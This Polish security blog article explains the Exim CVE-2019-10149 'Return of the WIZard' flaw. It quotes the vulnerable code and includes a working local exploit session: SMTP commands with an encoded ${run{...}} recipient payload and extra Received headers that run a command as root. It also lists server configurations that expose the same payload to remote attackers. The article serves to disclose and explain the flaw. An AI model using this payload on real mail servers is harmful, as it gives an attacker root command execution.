Powrót Czarodzieja – czyli serwer pocztowy Exim narażony na lokalne i zdalne ataki
Napisał: Patryk Krawaczyński
13/06/2019 w Bezpieczeństwo Brak komentarzy. (artykuł nr 697, ilość słów: 832)
K
rytyczna luka bezpieczeństwa została wykryta przez badaczy z Qualys i występuje w kilku wersjach oprogramowania agenta pocztowego Exim (ang. Mail Transfer Agent). Umożliwia ona na lokalne oraz zdalne ataki nieuwierzytelnionym użytkownikom za pomocą wykonywania dowolnych poleceń (nie mylić z dowolnym wykonywaniem kodu) na serwerach pocztowych. Luka jest obecna w wersji od 4.87 do 4.91 i jest spowodowana niewłaściwą weryfikacją adresów odbiorców w funkcji deliver_message()
(źródło znajduje się w pliku: /src/deliver.c
):
6122 #ifndef DISABLE_EVENT 6123 if (process_recipients != RECIP_ACCEPT) 6124 { 6125 uschar * save_local = deliver_localpart; 6126 const uschar * save_domain = deliver_domain; 6127 6128 deliver_localpart = expand_string( 6129 string_sprintf("${local_part:%s}", new->address)); 6130 deliver_domain = expand_string( 6131 string_sprintf("${domain:%s}", new->address)); 6132 6133 (void) event_raise(event_action, 6134 US"msg:fail:internal", new->message); 6135 6136 deliver_localpart = save_local; 6137 deliver_domain = save_domain; 6138 } 6139 #endif
Ponieważ funkcja expand_string()
rozpoznaje rozszerzony element w postaci: ${run {<polecenie> <argumenty>}}
oraz new->address
to adres odbiorcy poczty, pod który jest dostarczana wiadomość – lokalny napastnik może po prostu wysłać wiadomość na adres w postaci: ${run { ... }}@localhost
(gdzie localhost jest jedną z domen zdefiniowanych w opcji: local_domains
) wykonując przesłane polecenie z prawami administratora (opcja deliver_drop_privilege
ustawiona jest na false w standardzie).
Przykład ataku lokalnego:
john@debian:~$ cat /tmp/id cat: /tmp/id: No such file or directory john@debian:~$ nc 127.0.0.1 25 220 debian ESMTP Exim 4.89 Thu, 23 May 2019 09:10:41 -0400 HELO localhost 250 debian Hello localhost [127.0.0.1] MAIL FROM:<> 250 OK RCPT TO:<${run{\x2Fbin\x2Fsh\t-c\t\x22id\x3E\x3E\x2Ftmp\x2Fid\x22}}@localhost> 250 Accepted DATA 354 Enter message, ending with "." on a line by itself Received: 1 Received: 2 Received: 3 Received: 4 Received: 5 Received: 6 Received: 7 Received: 8 Received: 9 Received: 10 Received: 11 Received: 12 Received: 13 Received: 14 Received: 15 Received: 16 Received: 17 Received: 18 Received: 19 Received: 20 Received: 21 Received: 22 Received: 23 Received: 24 Received: 25 Received: 26 Received: 27 Received: 28 Received: 29 Received: 30 Received: 31 . 250 OK id=1hTnYa-0000zp-8b QUIT 221 debian closing connection john@debian:~$ cat /tmp/id cat: /tmp/id: Permission denied root@debian:~# cat /tmp/id uid=0(root) gid=111(Debian-exim) groups=111(Debian-exim) uid=0(root) gid=111(Debian-exim) groups=111(Debian-exim)
W powyższym przykładzie wysyłanych jest więcej nagłówków "Received:"
(domyślnie 30) niż zakłada opcja received_headers_max, aby przestawić zmienną process_recipients
na wartość RECIP_FAIL_LOOP
i doprowadzić do wykonania ataku w podatnym kodzie. Nieprawidłowe znaki w adresie odbiorcy w postaci ukośników są unikane za pomocą ukośników wstecznych (ang. backslashes), które są interpretowane przez funkcje expand_string()
Możliwość ataku zdalnego:
Aby zdalnie wykorzystać tę lukę w domyślnej konfiguracji osoba atakująca musi utrzymać połączenie z serwerem pocztowym podatnym na atak przez 7 dni (przesyłając jeden bajt co kilka minut) – szczegóły dlaczego ten atak musi zostać przeprowadzony w tej formie znajdziemy tutaj. Jednak ze względu na ogromną złożoność kodu serwera Exim może istnieć szybsza metoda eksploatacji tego błędu. Wcześniejsza metoda lokalnego ataku nie działa zdalnie, ponieważ opcja typu ACL (lista kontroli dostępu – access control list) verify = recipient
w domyślnej konfiguracji wymaga, aby adres odbiorcy (ta część poprzedzająca znak “@”) była nazwą lokalnego / wirtualnego użytkownika:
john@debian:~$ nc 192.168.56.101 25 220 debian ESMTP Exim 4.89 Thu, 23 May 2019 10:06:37 -0400 HELO localhost 250 debian Hello localhost [192.168.56.101] MAIL FROM:<> 250 OK RCPT TO:<${run{\x2Fbin\x2Fsh\t-c\t\x22id\x3E\x3E\x2Ftmp\x2Fid\x22}}@localhost> 550 Unrouteable address
Jeśli chodzi o niestandardowe konfiguracje to może dojść do sytuacji, w których lokalna metoda będzie również działała na zdalne systemu – muszą być tylko spełnione niektóre warunki:
- Opcja
verify = recipient
została usunięta ręcznie z konfiguracji przez administratora (w celu uniemożliwienia enumeracji użytkowników poprzez polecenie: RCPT TO:. - Jeśli serwer został skonfigurowany tak, aby rozpoznawał tagi w lokalnej części adresu odbiorcy (na przykład:
local_part_suffix = +* : -*
) wówczas agresor może zdalnie wykorzystać atak ustawiając RCPT TO: na wartość:nobody+${run {...}}@localhost
, gdzie nobody to nazwa lokalnego użytkownika. - Jeśli serwer został skonfigurowany do przekazywania poczty do domeny zdalnej, jako drugorzędny MX (ang. Mail eXchange) – wtedy napastnik może po prostu ponownie użyć formatu RCPT TO: w formie:
${run {...}}@nfsec.pl
, gdzie nfsec.pl jest jedną z domen skonfigurowanych w ramach opcji: relay_to_domains.
Badacze nazwali błąd CVE-2019-10149 “Powrotem Czarodzieja” (ang. The Return of the WIZard) nawiązując w ten sposób do podatności związanych z poleceniami WIZ oraz DEBUG z 1999 roku, które umożliwiały atakującemu wykonywanie poleceń jako administrator na serwerach, na których działała niezabezpieczona wersja agenta do przesyłania poczty – Sendmail.
Więcej informacji: CVE-2019-10149, Millions of Exim Mail Servers Exposed to Local, Remote Attacks